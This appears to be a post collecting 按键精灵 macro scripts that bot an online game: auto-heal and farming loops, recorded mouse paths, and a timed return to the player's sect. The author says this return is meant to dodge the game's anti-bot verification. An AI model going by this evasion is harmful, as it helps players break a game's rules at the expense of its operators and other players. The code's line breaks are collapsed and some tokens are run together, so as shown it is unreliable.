读数子1number1=groupresult1 = number1*number29 //杀错的眼晴ElseIf Color = "5A425A" Gosub 读数子1number1=groupresult1 = number1*number24 //上级元素结晶ElseIf Color = "DE9CF7" Gosub 读数子1number1=groupresult1 = number1*number26 //威严恶魔挑战书ElseIf Color = " A5BD18"number1=groupresult1 = number1*number35 //黑色小晶体ElseIf Color = "4A1031" Gosub 读数子1number1=groupresult1 = number1*number30 //蓝色小晶体ElseIf Color = "AD5229" Gosub 读数子1number1=groupresult1 = number1*number31 //红色服务器红色大喇叭ElseIf Color = "42A5EF" Gosub 读数子1number1=groupresult1 = number1*number32 //蓝色服务器红色小喇叭ElseIf Color = "94D6F7" Gosub 读数子1number1=groupresult1 = number1*number33 //暗黑城干酪ElseIf Color = "080808" Gosub 读数子1number1=groupresult1 = number1*number36 //专家HPElseIf Color = "403D8C"number1=groupresult1 = number1*number37 //专家MPElseIf Color = "715C42" Gosub 读数子1number1=groupresult1 = number1*number38 //熟练HPElseIf Color = "4239AD" Gosub 读数子1number1=groupresult1 = number1*number39 //熟练MPElseIf Color = "847B63" Gosub 读数子1number1=groupresult1 = number1*number40 //黑色龙舌兰酒ElseIf Color = "00E700" Gosub 读数子1number1=groupresult1 = number1*number41 //熟练HPEndIfkx=kx+30EndFor。

按键精灵源代码整理

Hwnd = Plugin.Window.MousePoint()Rem XXCall Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Goto XX2. 奶妈挂机加血（自动用蓝药，配合奶妈7秒叶子）Hwnd = Plugin.Window.MousePoint()Call Plugin.Window.Size(Hwnd, 900, 600)Call Plugin.Window.Move(Hwnd, 4, 143)Rem XXIfColor 325,208,"163CDB",0 ThenElseCall Plugin.Bkgnd.KeyPress(Hwnd, 50)End IfIfColor 257,208,"163CDB",0 ThenElseDelay 1000Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Delay 1000Call Plugin.Bkgnd.KeyPress(Hwnd, 52)End IfIfColor 163,222,"9C841A",0 ThenElseCall Plugin.Bkgnd.KeyPress(Hwnd, 53)End IfIfColor 77,226,"453A10",0 ThenElse'==========以下是按键精灵录制的内容==========（这个是控制鼠标去点掉宠物附体回蓝的，属于前台的）Delay 291MoveTo 374, 506MoveTo 375, 504 Delay 33 MoveTo 375, 503 Delay 50 MoveTo 377, 501 Delay 36 MoveTo 381, 500 Delay 49 MoveTo 385, 498 Delay 40 MoveTo 386, 498 Delay 163 MoveTo 388, 497 Delay 9 MoveTo 389, 497 Delay 7 MoveTo 390, 497 Delay 50 MoveTo 394, 496 Delay 51 MoveTo 397, 495 MoveTo 398, 494 Delay 30 KeyDown "1", 1 Delay 19 MoveTo 402, 493 Delay 43 MoveTo 405, 491 Delay 40 MoveTo 410, 486 Delay 1KeyUp "1", 1 Delay 61 MoveTo 430, 471 Delay 55 MoveTo 459, 431 Delay 8 MoveTo 463, 423 Delay 7 MoveTo 468, 414 Delay 55 MoveTo 503, 331 Delay 47MoveTo 531, 287 Delay 1 MoveTo 535, 282 Delay 54 MoveTo 551, 261 Delay 12 MoveTo 553, 259 MoveTo 556, 257 Delay 55 MoveTo 564, 251 Delay 36 MoveTo 572, 246 Delay 43 MoveTo 583, 240 Delay 38 MoveTo 589, 235 Delay 37 MoveTo 593, 233 Delay 30 MoveTo 597, 230 Delay 47 MoveTo 602, 226 Delay 1 MoveTo 605, 223 Delay 32 MoveTo 608, 219 Delay 36 MoveTo 611, 215 Delay 38 MoveTo 614, 211 Delay 39 MoveTo 615, 208 Delay 143 MoveTo 616, 207 Delay 332 RightDown 1 Delay 14 RightDown 1 Delay 53 RightClick 1 Delay 1 RightClick 1 Delay 68 MoveTo 617, 206Delay 66 MoveTo 621, 202 Delay 58 MoveTo 624, 199 Delay 40 MoveTo 625, 197 Delay 10 MoveTo 626, 197 Delay 77 MoveTo 627, 196 Delay 51 MoveTo 627, 195 Delay 30 MoveTo 627, 194 Delay 67 MoveTo 627, 193 Delay 1325 RightDown 1 Delay 8 RightDown 1 Delay 109 RightClick 1 Delay 1 RightClick 1 Delay 1362 MoveTo 628, 194 Delay 113 MoveTo 628, 195 Delay 42 MoveTo 628, 196 Delay 25 MoveTo 628, 198 Delay 1 KeyDown "2", 1 Delay 1Delay 48 MoveTo 631, 206 Delay 1 MoveTo 631, 207 Delay 46 MoveTo 637, 219 Delay 37 MoveTo 637, 220 Delay 1KeyUp "2", 1Delay 1MoveTo 640, 229Delay 77MoveTo 647, 243Delay 46MoveTo 648, 247Delay 63MoveTo 648, 249Delay 30MoveTo 648, 250Delay 77MoveTo 648, 251Delay 134MoveTo 650, 252Delay 44MoveTo 656, 256Delay 38MoveTo 674, 269Delay 32MoveTo 704, 295Delay 27MoveTo 745, 326Delay 70MoveTo 954, 476Delay 11MoveTo 978, 490Delay 2MoveTo 1000, 504Delay 283MoveTo 1113, 582Delay 51MoveTo 1099, 584Delay 50MoveTo 1084, 582'==========以上是按键精灵录制的内容========== End IfGoto XX3. 奶妈7秒叶子Hwnd = Plugin.Window.MousePoint()Rem AACall Plugin.Bkgnd.KeyPress(Hwnd, 49)Delay 14000Goto AA4. 奶妈无限群加Hwnd = Plugin.Window.MousePoint()Rem xxCall Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.LeftClick(Hwnd, 450-dx, 380-dy)Delay 1000Goto xx5. 剑半后台挂机，自动回宗派躲验证（怪物血条得露出来才行，其他的按键是后台操作）Hwnd = Plugin.Window.MousePoint()Call Plugin.Window.Size(Hwnd, 800, 500)Call Plugin.Window.Move(Hwnd, 0, 140)Rem 重置时间Dim t1t1=nowRem XXIfColor 215,206,"1332B1",0 ThenCall Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 56)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 54)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 56)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 56) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 56) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 56) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 56) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 55)ElseCall Plugin.Bkgnd.KeyPress(Hwnd, 68)Call Plugin.Bkgnd.KeyPress(Hwnd, 9)Delay 500End IfIfColor 215,206,"1332B1",0 ThenGoto XXElseif datediff("n",t1,now)>=35 then（35分钟自动回宗派）Delay 1000Call Plugin.Bkgnd.KeyPress(Hwnd, 57)Delay 5000IfColor 215,206,"1332B1",0 ThenGoto XXElseDelay 1000Call Plugin.Bkgnd.KeyPress(Hwnd, 57) Delay 80000MoveTo 757, 759Delay 2000LeftClick 1Delay 2000MoveTo 422, 471Delay 2000LeftClick 1Delay 150000MoveTo 399, 700Delay 1000LeftClick 1Delay 70000MoveTo 542, 620Delay 15000LeftClick 1Delay 1000Goto 重置时间End IfElseGoto XXEnd IfEnd IfGoto XX6. 奶妈半后台打怪Hwnd = Plugin.Window.MousePoint()Call Plugin.Window.Size(Hwnd, 800, 500)Call Plugin.Window.Move(Hwnd, 480, 0)Rem 重置时间Dim t1t1=nowRem XXIfColor 695,66,"1332B1",0 ThenCall Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 54)Call Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 54)Call Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 55)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) ElseCall Plugin.Bkgnd.KeyPress(Hwnd, 68)Call Plugin.Bkgnd.KeyPress(Hwnd, 9)Delay 500End IfIfColor 695,66,"1332B1",0 ThenGoto XXElseif datediff("n",t1,now)>=35 thenDelay 1011Call Plugin.Bkgnd.KeyPress(Hwnd, 48)Delay 5011IfColor 695,66,"1332B1",0 ThenGoto XXElseDelay 1000Call Plugin.Bkgnd.KeyPress(Hwnd, 48)Delay 80011MoveTo 1236, 621Delay 2011LeftClick 1Delay 2011MoveTo 896, 331Delay 2011LeftClick 1Delay 150051MoveTo 876, 567Delay 1011LeftClick 1Delay 70011MoveTo 1030, 484Delay 10011LeftClick 1Delay 2000Goto 重置时间End If ElseEnd IfEnd IfGoto XX。